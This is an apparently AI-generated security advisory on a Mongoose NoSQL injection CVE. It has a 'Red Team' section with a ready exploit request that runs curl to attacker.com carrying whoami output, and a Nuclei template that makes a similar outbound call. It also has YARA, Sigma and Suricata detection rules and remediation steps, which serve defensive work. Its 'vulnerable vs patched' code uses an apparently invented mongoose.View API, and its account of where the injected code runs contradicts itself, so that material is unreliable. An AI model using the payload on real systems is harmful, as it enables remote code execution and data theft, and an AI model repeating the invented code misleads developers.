CVE-2024-53900

Executive Summary

CVE-2024-53900 is a critical NoSQL injection vulnerability in the Mongoose ODM library for Node.js, affecting versions prior to 8.8.3. The flaw resides in the improper handling of the $where operator within the match stage of query views. An unauthenticated attacker can inject arbitrary JavaScript code via crafted query parameters, leading to Remote Code Execution (RCE) on the backend server. The vulnerability has a CVSS score of 9.1 (Critical) and a high EPSS score of 0.64154, indicating active exploitation risk. Public proof-of-concept (PoC) code and a Nuclei template are available, making this a high-priority threat for any application using vulnerable Mongoose versions.

Supply Chain & Package Security

This vulnerability affects the Mongoose npm package, a widely used ODM for MongoDB in Node.js applications. Organizations using Mongoose in their supply chain must immediately audit their dependencies. The package is distributed via the npm registry, and vulnerable versions are still available for download. Developers should use npm audit or yarn audit to identify affected versions and update to 8.8.3 or later. The fix is a patch-level update, minimizing breaking changes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerable component and impacted component are the same.
• Confidentiality Impact: High (C:H) - Full database and system access possible.
• Integrity Impact: High (I:H) - Arbitrary code execution allows data modification.
• Availability Impact: None (A:N) - The exploit does not directly cause denial of service, but RCE could be leveraged for that purpose.

Threat Level: Critical. The combination of low attack complexity, no authentication, and public exploit code makes this a severe threat.

Deep Dive & Mechanics

The vulnerability exists in Mongoose's query view feature, which allows developers to define reusable query components. When a view includes a match stage with a $where operator, Mongoose improperly sanitizes the input. The $where operator in MongoDB allows the execution of arbitrary JavaScript code within the database query. By injecting a malicious $where clause through the view[match] parameter, an attacker can execute arbitrary JavaScript on the MongoDB server, which in Node.js environments can be leveraged to execute system commands via child_process.

The attack exploits the fact that Mongoose passes user-supplied values directly into the $where clause without proper validation. The PoC uses global.process.mainModule.constructor._load('child_process').exec() to execute a system command, such as a reverse shell or data exfiltration via curl.

Vulnerable vs. Patched Code

Vulnerable Code (Mongoose < 8.8.3):

// Example of vulnerable view definition
const view = new mongoose.View({
  name: 'search',
  pipeline: [
    { $match: { $where: this.match } } // User input directly injected
  ]
});

Patched Code (Mongoose >= 8.8.3):

// Patched version sanitizes $where
const view = new mongoose.View({
  name: 'search',
  pipeline: [
    { $match: { $where: sanitize(this.match) } } // Input is sanitized
  ]
});

The patch introduces input validation and sanitization for the $where operator, preventing the injection of arbitrary JavaScript. The specific commit (c9e86bff7eef477da75a29af62a06d41a835a156) adds checks to ensure that $where is not used in an unsafe manner.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Node.js application using Mongoose < 8.8.3 with a view that accepts user input in the match stage.
• Network access to the target application.

Exploitation Steps:

1. Identify a vulnerable endpoint that uses Mongoose views with user-controlled match parameters.
2. Craft a GET request with the following payload:

   GET /search?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl http://attacker.com/$(whoami)')
   

3. The $where clause executes the JavaScript, which loads the child_process module and runs a system command.
4. Use an interactsh or a listener to capture the outbound request, confirming RCE.

Nuclei Template (Provided):

id: CVE-2024-53900

info:
  name: Mongoose < 8.8.3 - Remote Code Execution
  author: h4mg
  severity: critical
  description: |
    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
  impact: |
    Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.
  remediation: |
    Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.
  reference:
    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
    - https://github.com/advisories/GHSA-m7xq-9374-9rvx
    - https://www.youtube.com/watch?v=WX_N1NGPbug
    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-53900
    cwe-id: CWE-89
    epss-score: 0.64154
    epss-percentile: 0.98446
  metadata:
    verified: true
    max-request: 1
    product: mongoose
    framework: nodejs
    shodan-query: "Server: Mongoose"
  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev

variables:
  pfield: "author"

http:
  - method: GET
    path:
      - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
# digest: 4a0a00473045022100ad89a6719c8cc491b8e6a2050eae15edde61578dda197997acc75e24ee94a7d8022016e4283932de672f40132c09973b6c3b2a861757ed5090b92e69d38c92fe31a9:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor for HTTP requests containing $where in query parameters, especially in view[match] or similar structures.
• Look for outbound connections to unknown IPs or domains from the application server (e.g., curl commands).
• Analyze application logs for unusual JavaScript execution errors or child_process activity.

Hunting:

• Search for logs containing $where or child_process in the context of Mongoose queries.
• Use the Sigma rule below to detect exploitation attempts.

Lab Setup:

1. Deploy a vulnerable Node.js application using Mongoose 8.8.2.
2. Set up a logging mechanism (e.g., ELK stack) to capture HTTP requests and application logs.
3. Execute the PoC and observe the logs to understand the attack pattern.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with $where in query parameters (e.g., view[match][$where]=...).
  • Outbound connections to attacker-controlled servers (e.g., curl, wget).
• File System:
  • Unexpected files in /tmp or application directories (e.g., from wget).
• Process:
  • Unusual node processes spawning curl, bash, or other shell commands.
• Logs:
  • Application logs containing child_process.exec or global.process.mainModule.

Detection Engineering

YARA Rule

rule CVE_2024_53900_Mongoose_NoSQL_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-53900 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53900"
    strings:
        $s1 = "$where" ascii wide nocase
        $s2 = "child_process" ascii wide nocase
        $s3 = "global.process" ascii wide nocase
        $s4 = "exec(" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-53900 Mongoose NoSQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-53900 via $where injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "$where"
            - "child_process"
            - "global.process"
    condition: selection
falsepositives:
    - Legitimate use of $where in admin interfaces (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53900 Mongoose NoSQL Injection Attempt"; flow:to_server; content:"$where"; http_uri; content:"child_process"; http_uri; content:"exec"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Mongoose: Upgrade to version 8.8.3 or later. Run npm update mongoose or yarn upgrade mongoose.
2. Apply Virtual Patching: If immediate update is not possible, use a WAF to block requests containing $where in query parameters.
3. Audit Code: Review all uses of $where in Mongoose views and ensure user input is never directly passed.

Long-term Mitigations:

• Implement input validation and sanitization for all user-supplied data.
• Use parameterized queries or Mongoose's built-in sanitization methods.
• Regularly audit dependencies with npm audit and subscribe to security advisories.
• Monitor for unusual outbound connections from application servers.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant

{/* [Security Hash: D70878A48925D061D0BAD88F] */}